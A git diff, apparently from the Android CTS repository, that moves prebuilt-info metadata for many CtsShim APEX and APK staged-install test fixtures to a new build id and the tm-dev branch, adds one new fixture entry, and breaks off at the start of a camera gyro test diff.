diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
index c470fe8..21a4921 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3_signed_bob_rot.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
index 09b85f6..9fee80e 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim_not_pre_installed.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
index c057c89..e00e0c0 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v1.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
index 82422cb..70ea7a4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_additional_file.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
index f29ff0d..fe22126 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_additional_folder.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
index 8f2a136..4f7f762 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
index 766bf19..76f970a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
new file mode 100644
index 0000000..405905e
--- /dev/null
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
@@ -0,0 +1,15 @@
+drops {
+  android_build_drop {
+    build_id: "8572644"
+    target: "CtsShim"
+    source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+  }
+  dest_file: "hostsidetests/stagedinstall/testdata/apex//x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+  version: ""
+  version_group: ""
+  git_project: "platform/cts"
+  git_branch: "tm-dev"
+  transform: TRANSFORM_NONE
+  transform_options {
+  }
+}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
index b88b655..ba4d65d 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_different_certificate.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
index 9d7558d..a0cc1809 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_different_package_name.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
index e5c6b65..a491c76 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_no_hashtree.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
index 0be6a59..bc87363 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_rebootless.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
index f1e7a2c..1399178 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_sdk_target_p.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
index a986691..70a1d02 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
index be1b3a8..10f11a4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
index be9efdc..ec33561 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob_rot.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
index d675fce..57bd84b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
index f3774cc..d2dd61b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_unsigned_payload.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
index 2f7c565..3ec6a81 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_with_post_install_hook.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
index 5bbee67..43416aa 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_with_pre_install_hook.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
index d8a6bd5..f6e5294 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_without_apk_in_apex.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
index 207fa1d..4e9edcd 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_wrong_sha.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
index 6ef3eb5..5391c48 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
index 5264200..bc44538 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_rebootless.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
index face859..4257f29 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_signed_bob.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
index 84a1dbe..022a4bb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_signed_bob_rot.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
index d62c281..3f1c95d 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/CtsShimTargetPSdk.apk"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
index cb1fd5f..d4a6c09 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/CtsShimTargetPSdk.apk"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index 70904a5..d8ce6a4 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -73,6 +73,7 @@
